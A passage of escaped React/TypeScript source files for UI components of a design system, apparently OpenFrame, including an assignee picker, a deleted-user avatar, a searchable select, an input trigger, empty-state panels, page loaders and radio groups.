currentAssignee!.id}`}\n                />\n              ) : (\n                <SquareAvatar\n                  src={currentAssignee!.avatarSrc}\n                  alt={currentAssignee!.name}\n                  fallback={currentAssignee!.name || 'User'}\n                  size=\"sm\"\n                  variant=\"round\"\n                  className=\"h-6 w-6\"\n                />\n              )\n            ) : (\n              <UserIcon className=\"size-5 text-ods-text-secondary\" />\n            )\n          }\n          renderOption={renderOption}\n        />\n        <span className=\"text-h6 text-ods-text-secondary truncate block mt-0.5\">Assigned</span>\n      </div>\n    )\n  }\n\n  if (hasAssignee) {\n    return (\n      <div className={cn('flex items-center gap-[var(--spacing-system-xs)] min-w-0', className)}>\n        {currentAssignee!.deleted ? (\n          <DeletedUserAvatar size=\"md\" accessibleLabel={`Deleted user: ${currentAssignee!.name || currentAssignee!.id}`} />\n        ) : (\n          <SquareAvatar\n            src={currentAssignee!.avatarSrc}\n            alt={currentAssignee!.name}\n            fallback={currentAssignee!.name || 'User'}\n            size=\"md\"\n            variant=\"round\"\n            className=\"shrink-0\"\n          />\n        )}\n        <div className=\"flex-1 min-w-0 overflow-hidden\">\n          <div className=\"flex flex-col justify-center\">\n            <div className=\"flex items-center gap-[var(--spacing-system-xxs)] w-full min-w-0\">\n              <button\n                type=\"button\"\n                onClick={() => setIsEditing(true)}\n                className=\"flex items-center gap-[var(--spacing-system-xxs)] cursor-pointer group text-left\"\n              >\n                <PenEditIcon className=\"size-4 shrink-0 text-ods-text-secondary group-hover:text-ods-accent transition-colors\" />\n                <span\n                  className={cn('text-h4 truncate', currentAssignee!.deleted ? 'text-ods-error' : 'text-ods-text-primary')}\n                  title={currentAssignee!.name}\n                >{currentAssignee!.name}</span>\n              </button>\n            </div>\n            <span className=\"text-h6 text-ods-text-secondary truncate\">Assigned</span>\n          </div>\n        </div>\n      </div>\n    )\n  }\n\n  return (\n    <div className={cn('min-w-0', className)}>\n      <button\n        type=\"button\"\n        onClick={() => setIsEditing(true)}\n        className=\"flex items-center gap-[var(--spacing-system-xxs)] text-h4 text-ods-accent underline truncate cursor-pointer hover:opacity-80 transition-opacity text-left\"\n      >\n        <UserIcon className=\"size-4 shrink-0\" />\n        <span>Assign User</span>\n      </button>\n      <span className=\"text-h6 text-ods-text-secondary truncate block\">Assigned</span>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { UserXmarkIcon } from '../icons-v2-generated'\nimport { cn } from '../../utils/cn'\n\n/** Mirrors SquareAvatar's size buckets (sm 32 / md 40 / lg 48). */\nconst SIZE_CLASSES = {\n  sm: 'h-8 w-8',\n  md: 'h-10 w-10',\n  lg: 'h-12 w-12',\n} as const\n\nconst ICON_CLASSES = {\n  sm: 'w-4 h-4',\n  md: 'w-5 h-5',\n  lg: 'w-6 h-6',\n} as const\n\nexport interface DeletedUserAvatarProps {\n  size?: keyof typeof SIZE_CLASSES\n  className?: string\n  /**\n   * Accessible name for the placeholder. Pass the user's identity when known\n   * (e.g. \"Deleted user: Jane Doe\") so assistive technology doesn't lose who\n   * the row refers to. Falls back to the generic \"Deleted user\".\n   */\n  accessibleLabel?: string\n}\n\n/**\n * Red round user-x placeholder shown instead of the avatar for deleted users\n * (accounts with status DELETED / SELF_DELETED). A dedicated component — not a\n * `SquareAvatar` prop — because `SquareAvatar`'s only fallback is text\n * initials, and initials for a deleted account is exactly what the design\n * replaces.\n */\nexport function DeletedUserAvatar({ size = 'md', className, accessibleLabel }: DeletedUserAvatarProps) {\n  return (\n    <span\n      role=\"img\"\n      aria-label={accessibleLabel || 'Deleted user'}\n      className={cn(\n        'flex items-center justify-center rounded-full bg-ods-error/20 shrink-0',\n        SIZE_CLASSES[size],\n        className,\n      )}\n    >\n      <UserXmarkIcon className={cn('text-ods-error', ICON_CLASSES[size])} />\n    </span>\n  )\n}\n","'use client'\n\nimport * as PopoverPrimitive from '@radix-ui/react-popover'\nimport * as React from 'react'\nimport { CheckIcon, SearchIcon } from '../icons-v2-generated'\nimport { Chevron02DownIcon } from '../icons-v2-generated/arrows/chevron-02-down-icon'\nimport { cn } from '../../utils/cn'\nimport { useKeyboardCollisionPadding } from '../../hooks/ui/use-keyboard-collision-padding'\nimport { Input } from './input'\n\nexport interface SearchableSelectOption {\n  value: string\n  label: string\n  /** Optional leading visual for the option row (avatar, icon, badge). */\n  icon?: React.ReactNode\n}\n\nexport interface SearchableSelectProps {\n  options: SearchableSelectOption[]\n  /** Currently selected option value; null/undefined when nothing is selected. */\n  value?: string | null\n  onValueChange: (value: string) => void\n  /** Default trigger text while nothing is selected. */\n  placeholder?: string\n  /** Placeholder of the search input rendered as the first dropdown item. */\n  searchPlaceholder?: string\n  emptyText?: string\n  loadingText?: string\n  isLoading?: boolean\n  disabled?: boolean\n  /**\n   * Custom trigger node (rendered via Popover.Trigger asChild). When omitted,\n   * a select-like button (Input/SelectTrigger styling, chevron, placeholder)\n   * is rendered.\n   */\n  trigger?: React.ReactNode\n  /** Custom option-row renderer; default is icon + label + selected check. */\n  renderOption?: (option: SearchableSelectOption, isSelected: boolean) => React.ReactNode\n  align?: 'start' | 'center' | 'end'\n  /** Classes for the default trigger button. */\n  className?: string\n  /** Classes for the popover content (e.g. a fixed width for icon triggers). */\n  contentClassName?: string\n}\n\n/**\n * Select-style dropdown whose first item is a search field filtering the\n * option list — the pattern used by the ticket assignee picker (\"Search\n * users...\") generalized for any entity (devices, users, ...). Provide a\n * custom `trigger` for icon-button use cases; the default trigger looks and\n * behaves like `SelectTrigger`.\n */\nexport function SearchableSelect({\n  options,\n  value = null,\n  onValueChange,\n  placeholder = 'Select...',\n  searchPlaceholder = 'Search...',\n  emptyText = 'No results found',\n  loadingText = 'Loading…',\n  isLoading = false,\n  disabled = false,\n  trigger,\n  renderOption,\n  align = 'start',\n  className,\n  contentClassName,\n}: SearchableSelectProps) {\n  const [isOpen, setIsOpen] = React.useState(false)\n  const [search, setSearch] = React.useState('')\n  const keyboardPadding = useKeyboardCollisionPadding()\n\n  React.useEffect(() => {\n    if (!isOpen) setSearch('')\n  }, [isOpen])\n\n  const filtered = React.useMemo(() => {\n    const q = search.trim().toLowerCase()\n    if (!q) return options\n    return options.filter(o => o.label.toLowerCase().includes(q))\n  }, [options, search])\n\n  const selectedOption = React.useMemo(\n    () => (value != null ? options.find(o => o.value === value) : undefined),\n    [options, value],\n  )\n\n  const handleSelect = (optionValue: string) => {\n    onValueChange(optionValue)\n    setIsOpen(false)\n  }\n\n  const defaultTrigger = (\n    <button\n      type=\"button\"\n      disabled={disabled}\n      className={cn(\n        // Mirrors SelectTrigger so the closed state is indistinguishable from\n        // the regular Select.\n        'flex w-full items-center justify-between gap-2 rounded-md border px-3 h-11 md:h-12 outline-none text-left',\n        'text-h4 bg-ods-card border-ods-border',\n        selectedOption ? 'text-ods-text-primary' : 'text-ods-text-secondary',\n        'enabled:hover:bg-ods-bg-hover enabled:hover:border-ods-border-hover enabled:active:bg-ods-bg-active enabled:active:border-ods-border-active',\n        'data-[state=open]:border-ods-accent data-[state=open]:hover:border-ods-accent',\n        'group disabled:!cursor-not-allowed disabled:bg-ods-bg transition-colors duration-200 cursor-pointer',\n        className,\n      )}\n    >\n      <span className=\"line-clamp-1\">{selectedOption ? selectedOption.label : placeholder}</span>\n      <Chevron02DownIcon\n        className=\"shrink-0 text-ods-text-secondary transition-all duration-200 group-data-[state=open]:rotate-180 group-data-[state=open]:text-ods-accent\"\n        size={24}\n      />\n    </button>\n  )\n\n  return (\n    <PopoverPrimitive.Root open={isOpen} onOpenChange={disabled ? undefined : setIsOpen} modal={false}>\n      <PopoverPrimitive.Trigger asChild>{trigger ?? defaultTrigger}</PopoverPrimitive.Trigger>\n      <PopoverPrimitive.Portal>\n        <PopoverPrimitive.Content\n          align={align}\n          sideOffset={6}\n          // The search field below raises the software keyboard the moment this\n          // opens — see useKeyboardCollisionPadding for why neither the collision\n          // viewport nor the available height knows about it otherwise.\n          collisionPadding={{ bottom: keyboardPadding }}\n          className={cn(\n            'z-50 min-w-[var(--radix-popover-trigger-width)] bg-ods-card border border-ods-border rounded-md shadow-lg overflow-hidden',\n            'flex flex-col max-h-[var(--radix-popper-available-height)]',\n            'data-[state=open]:animate-in data-[state=closed]:animate-out',\n            'data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0',\n            'data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95',\n            'data-[side=bottom]:slide-in-from-top-2 data-[side=top]:slide-in-from-bottom-2',\n            contentClassName,\n          )}\n        >\n          <div className=\"shrink-0 border-b border-ods-border\">\n            <Input\n              autoFocus\n              value={search}\n              onChange={e => setSearch(e.target.value)}\n              placeholder={searchPlaceholder}\n              startAdornment={<SearchIcon className=\"size-4 text-ods-text-secondary\" />}\n              className=\"rounded-none border-0\"\n            />\n          </div>\n          <div className=\"min-h-0 max-h-80 overflow-y-auto py-[var(--spacing-system-xs)]\" role=\"listbox\">\n            {isLoading ? (\n              <div className=\"px-[var(--spacing-system-sf)] py-[var(--spacing-system-s)] text-h5 text-ods-text-secondary\">\n                {loadingText}\n              </div>\n            ) : filtered.length === 0 ? (\n              <div className=\"px-[var(--spacing-system-sf)] py-[var(--spacing-system-s)] text-h5 text-ods-text-secondary\">\n                {emptyText}\n              </div>\n            ) : (\n              filtered.map(opt => {\n                const isSelected = value === opt.value\n                return (\n                  <button\n                    key={opt.value}\n                    type=\"button\"\n                    role=\"option\"\n                    aria-selected={isSelected}\n                    onClick={() => handleSelect(opt.value)}\n                    className={cn(\n                      'flex items-center gap-[var(--spacing-system-xs)] w-full px-[var(--spacing-system-sf)] py-[var(--spacing-system-xs)] text-left',\n                      'hover:bg-ods-bg-hover transition-colors',\n                      isSelected && 'bg-ods-bg-hover',\n                    )}\n                  >\n                    {renderOption ? (\n                      renderOption(opt, isSelected)\n                    ) : (\n                      <>\n                        {opt.icon}\n                        <span className=\"flex-1 truncate text-h4 text-ods-text-primary\" title={opt.label}>\n                          {opt.label}\n                        </span>\n                        {isSelected && <CheckIcon className=\"size-4 shrink-0 text-ods-accent\" />}\n                      </>\n                    )}\n                  </button>\n                )\n              })\n            )}\n          </div>\n        </PopoverPrimitive.Content>\n      </PopoverPrimitive.Portal>\n    </PopoverPrimitive.Root>\n  )\n}\n","\"use client\";\n\nimport * as React from \"react\";\nimport { cn } from \"../../utils/cn\";\n\nexport interface InputTriggerProps\n\textends Omit<React.ButtonHTMLAttributes<HTMLButtonElement>, \"children\"> {\n\tselectedLabel?: React.ReactNode;\n\tplaceholder?: string;\n\tstartIcon?: React.ReactNode;\n\tendIcon?: React.ReactNode;\n\tinvalid?: boolean;\n}\n\n/**\n * Input-styled button used to open a non-`<Select>` popup — `ActionsMenuDropdown`,\n * `Popover`, custom calendars, etc.\n *\n * Use `InputTrigger` when:\n *   - You need a select-shaped trigger that opens something other than `<Select>`.\n *   - You want consistent Input-field visuals next to other form fields.\n *\n * Don't use `InputTrigger` for:\n *   - Single-value selection from a flat list — use `<Select>` / `<Autocomplete>`.\n *   - Page-level CTAs / action buttons — use `<Button>` (bold, centered, hierarchical).\n *\n * The component is `forwardRef`'d so it works as the `asChild` child of any Radix\n * trigger (DropdownMenu, Popover, etc.). For form labels & error messages, compose\n * with `<FieldWrapper>`.\n */\nexport const InputTrigger = React.forwardRef<HTMLButtonElement, InputTriggerProps>(\n\t(\n\t\t{ selectedLabel, placeholder, startIcon, endIcon, invalid, className, disabled, ...props },\n\t\tref,\n\t) => {\n\t\tconst isPlaceholder =\n\t\t\tselectedLabel === undefined || selectedLabel === null || selectedLabel === \"\";\n\n\t\treturn (\n\t\t\t<button\n\t\t\t\tref={ref}\n\t\t\t\ttype=\"button\"\n\t\t\t\tdisabled={disabled}\n\t\t\t\tdata-invalid={invalid || undefined}\n\t\t\t\t{...props}\n\t\t\t\tclassName={cn(\n\t\t\t\t\t\"flex w-full items-center gap-2 rounded-[6px] border px-3 h-11 md:h-12 outline-none\",\n\t\t\t\t\t\"text-h4\",\n\t\t\t\t\t\"bg-ods-card border-ods-border text-ods-text-primary\",\n\t\t\t\t\t\"enabled:hover:bg-ods-bg-hover enabled:hover:border-ods-border-hover enabled:active:bg-ods-bg-active enabled:active:border-ods-border-active\",\n\t\t\t\t\t!invalid &&\n\t\t\t\t\t\t\"data-[state=open]:border-ods-accent data-[state=open]:hover:border-ods-accent\",\n\t\t\t\t\tinvalid &&\n\t\t\t\t\t\t\"border-ods-error enabled:hover:border-ods-error data-[state=open]:border-ods-error\",\n\t\t\t\t\t// Disabled - match Input / SelectTrigger: grey the TEXT, don't fade the\n\t\t\t\t\t// whole control (a blanket opacity also washes out the border and the\n\t\t\t\t\t// adornment icons, which no other field does). The child rule catches\n\t\t\t\t\t// the label span, which sets its own placeholder colour. Scoped to\n\t\t\t\t\t// DIRECT children: `selectedLabel` is a ReactNode the caller owns, so\n\t\t\t\t\t// anything inside it that sets its own colour keeps it.\n\t\t\t\t\t\"disabled:cursor-not-allowed disabled:bg-ods-bg\",\n\t\t\t\t\t\"disabled:text-ods-text-disabled disabled:[&>span]:text-ods-text-disabled disabled:[&_svg]:text-ods-text-disabled\",\n\t\t\t\t\t\"transition-colors duration-200\",\n\t\t\t\t\tclassName,\n\t\t\t\t)}\n\t\t\t>\n\t\t\t\t{startIcon && (\n\t\t\t\t\t<span className=\"flex shrink-0 items-center text-ods-text-secondary\">\n\t\t\t\t\t\t{startIcon}\n\t\t\t\t\t</span>\n\t\t\t\t)}\n\t\t\t\t<span\n\t\t\t\t\tclassName={cn(\n\t\t\t\t\t\t\"flex-1 min-w-0 text-left truncate\",\n\t\t\t\t\t\tisPlaceholder && \"text-ods-text-secondary\",\n\t\t\t\t\t)} title={isPlaceholder ? placeholder : (typeof selectedLabel === 'string' ? selectedLabel : undefined)}>\n\t\t\t\t\t{isPlaceholder ? placeholder : selectedLabel}\n\t\t\t\t</span>\n\t\t\t\t{endIcon && (\n\t\t\t\t\t<span className=\"flex shrink-0 items-center text-ods-text-secondary\">\n\t\t\t\t\t\t{endIcon}\n\t\t\t\t\t</span>\n\t\t\t\t)}\n\t\t\t</button>\n\t\t);\n\t},\n);\nInputTrigger.displayName = \"InputTrigger\";\n","\"use client\"\n\nimport * as React from \"react\"\nimport { Video, Image, FileText, Archive, CheckSquare, BookOpen, FileType } from \"lucide-react\"\nimport {\n  Select,\n  SelectContent,\n  SelectItem,\n  SelectTrigger,\n  SelectValue,\n} from \"./select\"\n\nexport type ResourceMediaType = 'video' | 'png' | 'jpg' | 'svg' | 'document' | 'pdf' | 'zip' | 'guide' | 'checklist'\n\ninterface MediaTypeOption {\n  value: ResourceMediaType\n  label: string\n  icon: React.ReactNode\n}\n\nconst mediaTypeOptions: MediaTypeOption[] = [\n  { value: 'video', label: 'Video', icon: <Video className=\"h-4 w-4\" /> },\n  { value: 'png', label: 'PNG Image', icon: <Image className=\"h-4 w-4\" /> },\n  { value: 'jpg', label: 'JPG Image', icon: <Image className=\"h-4 w-4\" /> },\n  { value: 'svg', label: 'SVG Image', icon: <Image className=\"h-4 w-4\" /> },\n  { value: 'pdf', label: 'PDF', icon: <FileType className=\"h-4 w-4\" /> },\n  { value: 'document', label: 'Document', icon: <FileText className=\"h-4 w-4\" /> },\n  { value: 'zip', label: 'ZIP Archive', icon: <Archive className=\"h-4 w-4\" /> },\n  { value: 'guide', label: 'Guide', icon: <BookOpen className=\"h-4 w-4\" /> },\n  { value: 'checklist', label: 'Checklist', icon: <CheckSquare className=\"h-4 w-4\" /> },\n]\n\ninterface MediaTypeSelectorProps {\n  value?: ResourceMediaType\n  onValueChange?: (value: ResourceMediaType) => void\n  placeholder?: string\n  className?: string\n  disabled?: boolean\n}\n\nexport function MediaTypeSelector({\n  value,\n  onValueChange,\n  placeholder = \"Select media type\",\n  className,\n  disabled\n}: MediaTypeSelectorProps) {\n  // Force re-render with key to ensure Select updates\n  const [key, setKey] = React.useState(0);\n  \n  React.useEffect(() => {\n    // Force re-render when value changes\n    setKey(prev => prev + 1);\n  }, [value]);\n  \n  return (\n    <Select \n      key={key}\n      value={value || undefined} \n      onValueChange={onValueChange} \n      disabled={disabled}\n      defaultValue={value}\n    >\n      <SelectTrigger className={className}>\n        <SelectValue placeholder={placeholder} />\n      </SelectTrigger>\n      <SelectContent>\n        {mediaTypeOptions.map((option) => (\n          <SelectItem key={option.value} value={option.value}>\n            <div className=\"flex items-center gap-2\">\n              {option.icon}\n              <span>{option.label}</span>\n            </div>\n          </SelectItem>\n        ))}\n      </SelectContent>\n    </Select>\n  )\n}","import React from \"react\"\n\nimport { cn } from \"../../../utils/cn\"\nimport { Button, type ButtonProps } from \"../button\"\nimport { NoDataMessage } from \"./no-data-message\"\nimport { NoDataActions, type NoDataActionProps } from \"./no-data-actions\"\n\ninterface NoDataProps extends Omit<React.HTMLAttributes<HTMLDivElement>, \"title\"> {\n  // --- Message ---\n  /** Leading glyph, sized to 16px (mobile) / 24px (md+). */\n  icon?: React.ReactNode\n  /** Primary line. */\n  title?: React.ReactNode\n  /** Secondary line. */\n  description?: React.ReactNode\n\n  // --- Clickable blocks ---\n  /** Clickable blocks. Dynamic count. Hidden when empty/omitted. */\n  actions?: NoDataActionProps[]\n\n  // --- Footer button ---\n  /** Footer button label. When set (and `button` is not), renders the button. */\n  buttonLabel?: React.ReactNode\n  /** Leading icon for the footer button. */\n  buttonIcon?: React.ReactNode\n  /** Click handler for the footer button. */\n  onButtonClick?: ButtonProps[\"onClick\"]\n  /** Extra props forwarded to the footer button (variant, href, loading, …). */\n  buttonProps?: Partial<ButtonProps>\n  /** Fully custom footer node; overrides the `buttonLabel`/`buttonIcon` path. */\n  button?: React.ReactNode\n}\n\n/**\n * A centered empty-state panel: a muted icon/title/description message, an\n * optional group of clickable blocks, and an optional footer button, stacked\n * vertically with breakpoint-aware spacing. Each region renders only when its\n * inputs are present, so the same component covers a bare message, a message\n * with a button, the full layout, and everything in between.\n */\nconst NoData = React.forwardRef<HTMLDivElement, NoDataProps>(function NoData(\n  {\n    icon,\n    title,\n    description,\n    actions,\n    buttonLabel,\n    buttonIcon,\n    onButtonClick,\n    buttonProps,\n    button,\n    className,\n    ...props\n  },\n  ref,\n) {\n  const hasMessage = !!(icon || title || description)\n  const hasActions = !!actions?.length\n\n  const footerButton =\n    button ??\n    (buttonLabel != null ? (\n      <Button\n        variant=\"outline\"\n        leftIcon={buttonIcon}\n        onClick={onButtonClick}\n        {...buttonProps}\n        className={cn(\"w-full md:w-auto\", buttonProps?.className)}\n      >\n        {buttonLabel}\n      </Button>\n    ) : null)\n\n  return (\n    <div\n      ref={ref}\n      className={cn(\n        \"flex w-full flex-col items-center justify-center gap-[var(--spacing-system-l)] p-[var(--spacing-system-l)]\",\n        className,\n      )}\n      {...props}\n    >\n      {hasMessage && <NoDataMessage icon={icon} title={title} description={description} />}\n      {hasActions && <NoDataActions actions={actions} />}\n      {footerButton}\n    </div>\n  )\n})\n\nexport { NoData, type NoDataProps }\n","import React from \"react\"\n\nimport { cn } from \"../../../utils/cn\"\nimport { noDataIconClasses } from \"./no-data-styles\"\n\ninterface NoDataMessageProps extends Omit<React.HTMLAttributes<HTMLDivElement>, \"title\"> {\n  /** Leading glyph, sized to 16px (mobile) / 24px (md+). Optional. */\n  icon?: React.ReactNode\n  /** Primary line (body size). */\n  title?: React.ReactNode\n  /** Secondary line (caption size). */\n  description?: React.ReactNode\n}\n\n/**\n * A transparent, centered stack of an icon, a title and a description, in muted\n * gray. Any piece is optional, so it also covers \"icon + title\", \"title only\",\n * and similar reduced forms.\n */\nconst NoDataMessage = React.forwardRef<HTMLDivElement, NoDataMessageProps>(\n  function NoDataMessage({ icon, title, description, className, ...props }, ref) {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"flex flex-col items-center gap-[var(--spacing-system-l)] text-center text-ods-text-secondary\",\n          className,\n        )}\n        {...props}\n      >\n        {icon && <span className={noDataIconClasses}>{icon}</span>}\n        {(title || description) && (\n          <div className=\"flex flex-col\">\n            {title && <p className=\"text-h4 break-words\">{title}</p>}\n            {description && <p className=\"text-h6 break-words\">{description}</p>}\n          </div>\n        )}\n      </div>\n    )\n  },\n)\n\nexport { NoDataMessage, type NoDataMessageProps }\n","// Shared style atoms for the NoData (empty-state) family. A single source of\n// truth for the icon scale and the info-block group surface, expressed as CVA\n// variants so new looks can be added without touching the markup.\n\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\n// Leading-icon glyph scale: 16px on mobile, 24px on md+. Color is intentionally\n// omitted so the glyph inherits the current text color.\nexport const noDataIconClasses =\n  \"inline-flex shrink-0 items-center justify-center [&_svg]:h-4 [&_svg]:w-4 md:[&_svg]:h-6 md:[&_svg]:w-6\"\n\n// Surface for the info-block group container: a transparent, bordered panel with\n// rounded corners. `overflow-hidden` keeps only the outer blocks round — inner\n// blocks stay square.\nexport const noDataActionsVariants = cva(\"overflow-hidden rounded-md\", {\n  variants: {\n    variant: {\n      outline: \"border border-ods-border\",\n    },\n  },\n  defaultVariants: { variant: \"outline\" },\n})\n\nexport type NoDataActionsVariant = NonNullable<\n  VariantProps<typeof noDataActionsVariants>[\"variant\"]\n>\n","import React from \"react\"\n\nimport { cn } from \"../../../utils/cn\"\nimport { noDataActionsVariants, noDataIconClasses, type NoDataActionsVariant } from \"./no-data-styles\"\n\ninterface NoDataActionProps extends Omit<React.HTMLAttributes<HTMLDivElement>, \"title\"> {\n  /** Leading glyph, sized to 16px (mobile) / 24px (md+). Optional. */\n  icon?: React.ReactNode\n  /** Short label describing the block. */\n  label?: React.ReactNode\n}\n\n/**\n * A single static info block: a leading icon with a short label, laid out\n * icon-beside-label on mobile and icon-above-label on larger screens. Purely\n * presentational — no hover or click. The outer border, rounded corners and\n * dividers come from the surrounding group. Capped at 244px wide on md+.\n */\nconst NoDataAction = React.forwardRef<HTMLDivElement, NoDataActionProps>(\n  function NoDataAction({ icon, label, children, className, ...props }, ref) {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"flex flex-1 items-center gap-[var(--spacing-system-s)] p-[var(--spacing-system-m)] text-ods-text-secondary\",\n          \"md:w-[224px] md:flex-none md:flex-col md:items-start md:gap-[var(--spacing-system-xs)]\",\n          className,\n        )}\n        {...props}\n      >\n        {icon && <span className={cn(noDataIconClasses, \"text-ods-text-primary\")}>{icon}</span>}\n        <span className=\"min-w-0 flex-1 break-words text-h6 md:w-full md:flex-none\">{label ?? children}</span>\n      </div>\n    )\n  },\n)\n\ninterface NoDataActionsProps extends React.HTMLAttributes<HTMLDivElement> {\n  /** The blocks to render. When omitted, `children` are rendered instead. */\n  actions?: NoDataActionProps[]\n  /** Surface treatment of the group panel. */\n  variant?: NoDataActionsVariant\n}\n\n/**\n * A group of static info blocks sharing one transparent, bordered panel. Renders\n * as a horizontal row with vertical dividers on larger screens and a vertical\n * stack with horizontal dividers on mobile. Only the outermost blocks have\n * rounded corners.\n */\nconst NoDataActions = React.forwardRef<HTMLDivElement, NoDataActionsProps>(\n  function NoDataActions({ actions, variant = \"outline\", className, children, ...props }, ref) {\n    const blocks = actions\n      ? actions.map((action, index) => <NoDataAction key={index} {...action} />)\n      : React.Children.toArray(children)\n\n    return (\n      <div\n        ref={ref}\n        className={cn(noDataActionsVariants({ variant }), \"flex w-full flex-col md:w-auto md:flex-row\", className)}\n        {...props}\n      >\n        {blocks.map((block, index) => (\n          <React.Fragment key={index}>\n            {index > 0 && (\n              <div\n                aria-hidden=\"true\"\n                className=\"shrink-0 self-stretch border-t border-ods-border md:border-l md:border-t-0\"\n              />\n            )}\n            {block}\n          </React.Fragment>\n        ))}\n      </div>\n    )\n  },\n)\n\nexport { NoDataAction, NoDataActions, type NoDataActionProps, type NoDataActionsProps }\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { OpenFrameLogo } from '../icons/openframe-logo'\n\nexport interface PageLoaderProps {\n  /**\n   * Main loading text\n   */\n  title?: string\n  /**\n   * Secondary description text\n   */\n  description?: string\n  /**\n   * Additional CSS classes for the container\n   */\n  className?: string\n  /**\n   * Show the loader icon\n   */\n  showIcon?: boolean\n}\n\n/**\n * Full page loader component\n * Used for loading states that take up the full viewport\n */\nexport function PageLoader({\n  title = 'Loading',\n  description = 'Getting your data ready',\n  className,\n  showIcon = true\n}: PageLoaderProps) {\n  return (\n    <div \n      className={cn(\n        'bg-ods-bg flex flex-col items-center justify-center min-h-screen w-full',\n        className\n      )}\n    >\n      <div className=\"flex flex-col items-center gap-6 p-6\">\n        {showIcon && (\n          <div className=\"relative w-6 h-6\">\n            <OpenFrameLogo \n              className=\"w-6 h-6 animate-pulse text-ods-accent\"\n              upperPathColor=\"currentColor\"\n              lowerPathColor=\"var(--color-text-tertiary)\"\n            />\n          </div>\n        )}\n        <div className=\"flex flex-col items-center text-center\">\n          <p className=\"text-h4 text-ods-text-tertiary\">\n            {title}\n          </p>\n          <p className=\"text-h6 text-ods-text-tertiary opacity-70 mt-1\">\n            {description}\n          </p>\n        </div>\n      </div>\n    </div>\n  )\n}\n\n/**\n * Compact version of the page loader for smaller containers\n */\nexport function CompactPageLoader({\n  title = 'Loading',\n  description,\n  className,\n  showIcon = true\n}: PageLoaderProps) {\n  return (\n    <div \n      className={cn(\n        'flex flex-col items-center justify-center p-12',\n        className\n      )}\n    >\n      <div className=\"flex flex-col items-center gap-4\">\n        {showIcon && (\n          <div className=\"relative w-6 h-6\">\n            <OpenFrameLogo \n              className=\"w-6 h-6 animate-pulse text-ods-accent\"\n              upperPathColor=\"currentColor\"\n              lowerPathColor=\"var(--color-text-tertiary)\"\n            />\n          </div>\n        )}\n        <div className=\"flex flex-col items-center text-center\">\n          <p className=\"text-h6 text-ods-text-tertiary\">\n            {title}\n          </p>\n          {description && (\n            <p className=\"text-h6 text-ods-text-tertiary opacity-70 mt-1\">\n              {description}\n            </p>\n          )}\n        </div>\n      </div>\n    </div>\n  )\n}","\"use client\"\n\nimport * as React from \"react\"\nimport * as RadioGroupPrimitive from \"@radix-ui/react-radio-group\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst RadioGroup = React.forwardRef<\n  React.ComponentRef<typeof RadioGroupPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof RadioGroupPrimitive.Root>\n>(({ className, ...props }, ref) => {\n  return (\n    <RadioGroupPrimitive.Root\n      className={cn(\"grid gap-2\", className)}\n      {...props}\n      ref={ref}\n    />\n  )\n})\nRadioGroup.displayName = RadioGroupPrimitive.Root.displayName\n\nconst RadioGroupItem = React.forwardRef<\n  React.ComponentRef<typeof RadioGroupPrimitive.Item>,\n  React.ComponentPropsWithoutRef<typeof RadioGroupPrimitive.Item>\n>(({ className, ...props }, ref) => {\n  return (\n    <RadioGroupPrimitive.Item\n      ref={ref}\n      className={cn(\n        \"group relative h-6 w-6 shrink-0 rounded-full border-2 bg-ods-card\",\n        \"border-[var(--color-border-strong)]\",\n        \"transition-colors duration-150\",\n        \"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent focus-visible:ring-offset-2 focus-visible:ring-offset-ods-card\",\n        \"disabled:cursor-not-allowed disabled:opacity-50\",\n        \"data-[state=checked]:border-ods-accent\",\n        \"hover:enabled:border-ods-accent/60\",\n        className\n      )}\n      {...props}\n    >\n      <RadioGroupPrimitive.Indicator className=\"flex h-full w-full items-center justify-center\">\n        <span className=\"block h-1/2 w-1/2 rounded-full bg-ods-accent\" />\n      </RadioGroupPrimitive.Indicator>\n    </RadioGroupPrimitive.Item>\n  )\n})\nRadioGroupItem.displayName = RadioGroupPrimitive.Item.displayName\n\ninterface RadioGroupBlockOption {\n  value: string\n  label: React.ReactNode\n  description?: React.ReactNode\n  disabled?: boolean\n  /** Optional trailing slot rendered at the end of the row (e.g. a discount tag) */\n  trailing?: React.ReactNode\n}\n\ninterface RadioGroupBlockProps\n  extends Omit<React.ComponentPropsWithoutRef<typeof RadioGroupPrimitive.Root>, \"children\"> {\n  options: RadioGroupBlockOption[]\n  /**\n   * - `separated` (default): each option is its own bordered card stacked with gaps.\n   * - `grouped`: options share a single outer border with dividers between rows.\n   */\n  variant?: \"separated\" | \"grouped\"\n  /** Error message displayed below the group (also triggers red borders) */\n  error?: string\n  itemClassName?: string\n}\n\nconst RadioGroupBlock = React.forwardRef<\n  React.ComponentRef<typeof RadioGroupPrimitive.Root>,\n  RadioGroupBlockProps\n>(\n  (\n    { className, options, variant = \"separated\", error, itemClassName, disabled, ...props },\n    ref\n  ) => {\n    const isGrouped = variant === \"grouped\"\n    return (\n      <div className={cn(\"relative flex w-full flex-col\", className)}>\n        <RadioGroupPrimitive.Root\n          ref={ref}\n          // Same marker every field exposes — it is how a form finds (and\n          // scrolls to) the first control that failed validation. The GROUP is\n          // the field here; the individual options are not separately invalid.\n          data-invalid={error ? true : undefined}\n          className={cn(\n            \"w-full\",\n            isGrouped\n              ? cn(\n                  \"flex flex-col overflow-hidden rounded-[6px] border bg-ods-card\",\n                  error ? \"border-ods-error\" : \"border-ods-border\"\n                )\n              : \"grid gap-2\"\n          )}\n          disabled={disabled}\n          {...props}\n        >\n          {options.map((option, index) => {\n            const itemId = `${props.name ?? \"radio-block\"}-${option.value}`\n            const isDisabled = disabled || option.disabled\n            const isLast = index === options.length - 1\n            return (\n              <label\n                key={option.value}\n                htmlFor={itemId}\n                aria-disabled={isDisabled || undefined}\n                className={cn(\n                  \"flex w-full items-center gap-3\",\n                  \"transition-colors duration-200\",\n                  isDisabled ? \"cursor-not-allowed\" : \"cursor-pointer\",\n                  // Hover / active move the BACKGROUND only, like Input and\n                  // CheckboxBlock — the border stays put so an unselected row\n                  // never flashes \"selected\" under the cursor.\n                  !isDisabled && \"hover:bg-ods-bg-hover active:bg-ods-bg-active\",\n                  isGrouped\n                    ? cn(\n                        